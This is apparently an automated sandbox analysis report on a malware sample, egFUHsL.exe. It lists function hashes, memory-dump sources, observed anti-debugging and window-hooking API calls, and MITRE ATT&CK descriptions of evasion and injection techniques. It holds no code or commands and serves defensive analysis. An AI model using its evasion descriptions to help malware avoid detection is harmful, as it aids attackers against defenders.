Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_26d000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction ID: dddae5e8d82c864a1a1a395ee4c77191e8b05433217f5f59d6d6adcc859f3178
Opcode Fuzzy Hash: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction Fuzzy Hash: 11118B79A04284DFDB11CF10D5C4B19BFA1FB84714F24C6A9D8494B756C33AD8AACFA2

Uniqueness

Uniqueness Score: -1.00%

Function 002F0B38 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d53462d80946af31ef2562d07bcb579f351f9d9431d90a2a730d6ecc13425b1b
Instruction ID: 6901a33961ded0fca257f30f410931be1c390868be88bd191568051e6ecad513
Opcode Fuzzy Hash: d53462d80946af31ef2562d07bcb579f351f9d9431d90a2a730d6ecc13425b1b
Instruction Fuzzy Hash: BE01D6703153405BD749A7B958657AFBBAAAFC9340F08847BD10CC2293CEB8580187E1

Uniqueness

Uniqueness Score: -1.00%

Function 002F41EE Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72b6dfc1f15720bbac9cdab373d17a267bab8353fbf146b8912cbb5d7f3ff9aa
Instruction ID: 4562c9835b5ab352983a3e4b51df79bed9db128941fee85dc4899b1167d65e41
Opcode Fuzzy Hash: 72b6dfc1f15720bbac9cdab373d17a267bab8353fbf146b8912cbb5d7f3ff9aa
Instruction Fuzzy Hash: C70121307412148FE754DB388C51BAA76E2AF88780F2540B8E509AB3D5CE75EC418F94

Uniqueness

Uniqueness Score: -1.00%

Function 002F0518 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c7e995fdad9d795c549c1a2c08dc98eb61e723c62ab8c5f9d43fb17fee8572e
Instruction ID: 44084550d1c7da98aee73bd1903ca1dff1b0544bf06fca3237fa919db8eb0d17
Opcode Fuzzy Hash: 8c7e995fdad9d795c549c1a2c08dc98eb61e723c62ab8c5f9d43fb17fee8572e
Instruction Fuzzy Hash: FDF0C27032020497D74CA7B998597AFB69AAFC8380F04893AE20DC2256CEB44C118BE1

Uniqueness

Uniqueness Score: -1.00%

Function 002F646C Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98e7c911b758f21a6b28fee96b60784b5002143208cb52a5ca4c953c0f04c875
Instruction ID: 46dc84a7d07835a1fcb2a4edec94c855aabbe2fe3c3409522ed92f987504e4fd
Opcode Fuzzy Hash: 98e7c911b758f21a6b28fee96b60784b5002143208cb52a5ca4c953c0f04c875
Instruction Fuzzy Hash: 67F02731320704D7D318F725D8949AFFB42EFD03A03448929E5094B301CF705D0ACAA0

Uniqueness

Uniqueness Score: -1.00%

Function 002F6470 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54be04add33bb2f2167cdfd14ceebafb65f1d4ef6d6c638956f693034436bcd9
Instruction ID: b0e3a801c5e570c3245c6144fa10a192600de3efb0054d7efea7a7e6a7141953
Opcode Fuzzy Hash: 54be04add33bb2f2167cdfd14ceebafb65f1d4ef6d6c638956f693034436bcd9
Instruction Fuzzy Hash: 1AF0EC3132071897C718F725DC959AFFB56EFD43A07848829E9094B311CE715D0689D4

Uniqueness

Uniqueness Score: -1.00%

Function 002FA094 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2077d1de05e4d43b358ff5aa14e2b0033d9cb830a86d77e03d5909ac53d28f6d
Instruction ID: 097f2981f6295045318c1f80859624bfdd703698630efa1302d2b7bfebae45ae
Opcode Fuzzy Hash: 2077d1de05e4d43b358ff5aa14e2b0033d9cb830a86d77e03d5909ac53d28f6d
Instruction Fuzzy Hash: 32F0E778E16288EFCF11CFA8D84199CFBB0AF09740F24016AE945A7352DB315966DF01

Uniqueness

Uniqueness Score: -1.00%

Function 002F9228 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 987027fbf8e1dece238646dc1c8a783575936a2f60fbf9bb8d98352a585906c8
Instruction ID: a8395994fe1508c00e45c8af059ce9ddf01325b2f5e29b0ec6587ef245403e74
Opcode Fuzzy Hash: 987027fbf8e1dece238646dc1c8a783575936a2f60fbf9bb8d98352a585906c8
Instruction Fuzzy Hash: 39F02B317053804FE3559B54D8587A5BFA6EB42348F5882BFD448CF286C73A8C81C741

Uniqueness

Uniqueness Score: -1.00%

Function 002F9238 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90baf11066081e1e9d33a1cc66f3c04338d826a28d9696750209538d36f416c
Instruction ID: 911ba08d32ebc15135d80c8f28e8df9c9ac86750841fe21bd7f476cc0e0a231a
Opcode Fuzzy Hash: e90baf11066081e1e9d33a1cc66f3c04338d826a28d9696750209538d36f416c
Instruction Fuzzy Hash: 28F0E2303113149FE304AA54D4987A6BB96EB81349F688376D5088F286D73A8C82C791

Uniqueness

Uniqueness Score: -1.00%

Function 002F0D50 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c665c2e93c0ce2becb15f182ec110f5b4f6183f055a94c2b6bbd8d0c619f54b
Instruction ID: 34dbe4f9248260164ac33b476529f590fd98e0ec69e5fc5e49933c08b2008c12
Opcode Fuzzy Hash: 2c665c2e93c0ce2becb15f182ec110f5b4f6183f055a94c2b6bbd8d0c619f54b
Instruction Fuzzy Hash: 18F0E56126E3899ECB2707E06CA5A317F24DB537C0F4840EFE2469F0F7D2919522E612

Uniqueness

Uniqueness Score: -1.00%

Function 002FCAEF Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c3f461f8673d789fa0ac70b5b3ff9b6d6dd0512629038f56c010149b6b0cc55
Instruction ID: c03adbd00a2d6cf606d9a142f8cfc219393df44277bf2b7c7eb88c9c495635ec
Opcode Fuzzy Hash: 2c3f461f8673d789fa0ac70b5b3ff9b6d6dd0512629038f56c010149b6b0cc55
Instruction Fuzzy Hash: 6AE09A3A960249EFCB119F80CD09EB8BBB2BF04740F2581A2F2054B0B2D3B58821EB00

Uniqueness

Uniqueness Score: -1.00%

Function 002FA126 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a78955869e75e5466683b1c306b9df1fd3607dadb7790ea2b4211da001cf945
Instruction ID: 8a6225081494eafae2be1540caeece02d16da67a442db09cc6a527c50408f703
Opcode Fuzzy Hash: 9a78955869e75e5466683b1c306b9df1fd3607dadb7790ea2b4211da001cf945
Instruction Fuzzy Hash: 57D05EB2A2401C8F8B00DAA4E8444FDF734EB4A351B114436C60BE3110CB711925E605

Uniqueness

Uniqueness Score: -1.00%

Function 002FD9E4 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d65b7b3c311051ac7391dd3905afd3bf1a4d17d8c007e87b57b5efd5751aeebe
Instruction ID: 39eb43c34705ba948b55fdb28585dea63a3795a5e796545cddf866c0b59931d1
Opcode Fuzzy Hash: d65b7b3c311051ac7391dd3905afd3bf1a4d17d8c007e87b57b5efd5751aeebe
Instruction Fuzzy Hash: 6BE07574D19228DFCB50DF94E980BADB7F6BB08344F105195E909A7305D7709E94CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002FAAB0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45e065d096beb757af6c6177d35d91fe450d686057be3d82dbc2c06637683afb
Instruction ID: 4b41ad65ee430a0e36e09c1243e57b58ab9388e23730084d8ae2ea197927fff9
Opcode Fuzzy Hash: 45e065d096beb757af6c6177d35d91fe450d686057be3d82dbc2c06637683afb
Instruction Fuzzy Hash: E2D05E7046920CD7E301AB60DA18A79F27CAB06341F145578C50E131508BB08E1CF652

Uniqueness

Uniqueness Score: -1.00%

Function 002F0B00 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c155bd62c2d8c32bbf1c48b021b1e5eb1a78bc44648bccbf7f6eb73e1932bf37
Instruction ID: 17916ba49cb9ce525834807a91d950e189c6a5f7f7d49be018b42cbed08071d8
Opcode Fuzzy Hash: c155bd62c2d8c32bbf1c48b021b1e5eb1a78bc44648bccbf7f6eb73e1932bf37
Instruction Fuzzy Hash: 85D0123137072D17156933F4181247D61494FC25D8781007DD20F9B2C2CF155D6307E7

Uniqueness

Uniqueness Score: -1.00%

Function 002F0D18 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaac27ea621ad4b0e007a3227a5e9c25c1fc039e8e963fbf56aefa033f9b2c8b
Instruction ID: 57b184a1d0ff3657fcce37f286c18aab1205564def182d2acbdf9ca65c897e48
Opcode Fuzzy Hash: aaac27ea621ad4b0e007a3227a5e9c25c1fc039e8e963fbf56aefa033f9b2c8b
Instruction Fuzzy Hash: E9D0A9342A4309AACA2A1A90BD46B32B66CA714BC0F4040B7A2099E0E2CAE2E8209411

Uniqueness

Uniqueness Score: -1.00%

Function 002FAA0E Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f147b988f30bf52586bfd91676776a298cfe5e555eb6f657d1010401906be16e
Instruction ID: 3204d2ead2c57a29f6d57bc1dbad178432df0ae6504330aa966478db5d5813cc
Opcode Fuzzy Hash: f147b988f30bf52586bfd91676776a298cfe5e555eb6f657d1010401906be16e
Instruction Fuzzy Hash: 9CD06C78A10128CFDB60CB24C880F99F7B1AB89358F1080D9880DA3302C732AE82CF10

Uniqueness

Uniqueness Score: -1.00%

Function 002FFF08 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce912e6d8fb3d6283d015d83220049842da1a5eb4096fd30800c57a93da7dcb6
Instruction ID: 6b91746ca840566bc09e06c53fe8c029403687f42b15385574bcd29471b5e531
Opcode Fuzzy Hash: ce912e6d8fb3d6283d015d83220049842da1a5eb4096fd30800c57a93da7dcb6
Instruction Fuzzy Hash: 2EC08C30029A08C7E2202BE0BE1D33476686F8131AF80023AD14D004B08AA09420DEA1

Uniqueness

Uniqueness Score: -1.00%

Function 002FA548 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.371709875.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acdca281f0d5ac73a78e7ab57757a2cd3bd7a704b84977ef48ba41020900cac2
Instruction ID: 83ab623a7dd7b5179bdcd942a50ba19abb1d2c201a5557cddad2ebd84eaa44d4
Opcode Fuzzy Hash: acdca281f0d5ac73a78e7ab57757a2cd3bd7a704b84977ef48ba41020900cac2
Instruction Fuzzy Hash: D2D0CAB0E28208CFCB00CF84C5486FDF7B4BB08300F208029C21AA2240C3B46A02DF01

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: egFUHsL.exePID: 312, Parent PID: 3884COMMON

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	7
Total number of Limit Nodes:	0

Executed Functions

Function 006DA677 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000016.00000002.718445263.00000000006D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_6d0000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2c29c3c62a4f982273c9accb4ae9075068d63de5ab64ae14ade3b625e41bbb2
Instruction ID: bb3f9101a55358deb7913af889511672830986d7f80b84536d150df02cc6c9aa
Opcode Fuzzy Hash: f2c29c3c62a4f982273c9accb4ae9075068d63de5ab64ae14ade3b625e41bbb2
Instruction Fuzzy Hash: 9D412471A08244CFCB20DFA8C4557EABBB2EF95310F14886ED04A9B341CB35D805CB56

Uniqueness

Uniqueness Score: -1.00%

Function 001C5340 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 001C53BF

Memory Dump Source

Source File: 00000016.00000002.718051954.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1c0000_egFUHsL.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 41a01a5f2188499df2531dc92dd469e9e85cd572217ab5e8762ab78898d82f2a
Instruction ID: 159c488f0746f58abf315cde03f080a824cfe48a7e00fbb70990c31575089c4b
Opcode Fuzzy Hash: 41a01a5f2188499df2531dc92dd469e9e85cd572217ab5e8762ab78898d82f2a
Instruction Fuzzy Hash: 1B2148B1800259CFDB10CFAAD884BEEBBF4AF89320F24841AD455B7350D778AA44CF61

Uniqueness

Uniqueness Score: -1.00%

Function 001C5348 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 001C53BF

Memory Dump Source

Source File: 00000016.00000002.718051954.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1c0000_egFUHsL.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 6551671381e563c5bc272e192a175ab3c0a31fee9676d57615c27ac21e7195fc
Instruction ID: 8be12d3ebca301e862fe218c227f14960a93b8ad48f596134138311cda72d16c
Opcode Fuzzy Hash: 6551671381e563c5bc272e192a175ab3c0a31fee9676d57615c27ac21e7195fc
Instruction Fuzzy Hash: 002128B1800259CFDB00CF9AD884BEEBBF4AF49324F24845AD455A7250D778AA44CF61

Uniqueness

Uniqueness Score: -1.00%

Function 006DA538 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 006DA5B3

Memory Dump Source

Source File: 00000016.00000002.718445263.00000000006D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 006D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_6d0000_egFUHsL.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 89b4ae5a698d49cf5ddf34b5c1ee9f47c964eb11a926c6ed65b361b25db20517
Instruction ID: cd9e04dc518f4688f2e55a3fb279fe8eef81d3114beb8fc14b4138f28f45b9d3
Opcode Fuzzy Hash: 89b4ae5a698d49cf5ddf34b5c1ee9f47c964eb11a926c6ed65b361b25db20517
Instruction Fuzzy Hash: 7021E575D002099FDB14CF99D848BEEBBF5EB88310F14842AE415A7350C774AA44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 000FD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.717906488.00000000000FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_fd000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e14ea62275c22522f34dda46d5bfc58c42998fd54d004efcff71eca49435c99e
Instruction ID: 0e80bd7c6838aa29339f33e09809723bbe3be3206369c1a55e7ab307fe20af3e
Opcode Fuzzy Hash: e14ea62275c22522f34dda46d5bfc58c42998fd54d004efcff71eca49435c99e
Instruction Fuzzy Hash: 7C213770604344DFDB14CF10D8C4B2ABBA2EB84314F34C56ADA094B646CB3AD807DB61

Uniqueness

Uniqueness Score: -1.00%

Function 000FD394 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.717906488.00000000000FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_fd000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20909cfab822d8379aded77a76cbcaae5d214c4fe00b4e299515794669e558bf
Instruction ID: 0b513574184d3a48540b83b6f48cb16bb03fee9e720bb20981a84c0b4f2ae481
Opcode Fuzzy Hash: 20909cfab822d8379aded77a76cbcaae5d214c4fe00b4e299515794669e558bf
Instruction Fuzzy Hash: B2210775604344EFDB14CF10D8C4B26BBA6FB84714F34C56ADA494B642C336E846EB62

Uniqueness

Uniqueness Score: -1.00%

Function 000FD38F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.717906488.00000000000FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_fd000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction ID: 4ef4a19661168dd1b23185c5ce267ac794683c8f7e55e7da5ba915ea9fa97751
Opcode Fuzzy Hash: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction Fuzzy Hash: 8A11BB75504284DFDB01CF10D5C4B25FFA2FB85314F24C6AAD9494BA52C33AE84ADFA2

Uniqueness

Uniqueness Score: -1.00%

Function 000FD017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.717906488.00000000000FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_fd000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction ID: a0133c029bc117fb633debd7d34e305378994615c0ddc9b0efe1d34d6b0b4821
Opcode Fuzzy Hash: ea9aa13de3af6688b0190c548424d43cac2c886abfbda61e17135b2a085f984b
Instruction Fuzzy Hash: C311DD75504284CFDB11CF10D5C4B25FFA2FB84314F24C6AAD9094BA56C33AD84ACFA2

Uniqueness

Uniqueness Score: -1.00%

Function 000ED849 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.717872156.00000000000ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 000ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_ed000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e481907946f3fe8f28e4dafd77906a88cc6223a0a8bf7401cd8f74a13f701572
Instruction ID: 8eb2b1fda2a41abf586f15980f2b9020f91cdbe41078e650a5313c1bb908e7d5
Opcode Fuzzy Hash: e481907946f3fe8f28e4dafd77906a88cc6223a0a8bf7401cd8f74a13f701572
Instruction Fuzzy Hash: 2601F270108380EEF7249A17CD84B6ABBD8DF81764F28C51BEC482F282C739D840DAB1

Uniqueness

Uniqueness Score: -1.00%

Function 000ED848 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.717872156.00000000000ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 000ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_ed000_egFUHsL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba3178753fcaef6df4c57211a4adca1fe5fbd0bbdbd3048802f10b27e8a72e08
Instruction ID: 889da4647fe32b1dec4648a16b112084a5b32e29b8487a37d214825d4d9436fe
Opcode Fuzzy Hash: ba3178753fcaef6df4c57211a4adca1fe5fbd0bbdbd3048802f10b27e8a72e08
Instruction Fuzzy Hash: F1F06271504284AEEB608A16DDC4B66FFD8EF91734F28C55BED485B282C3799C44CAB1

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
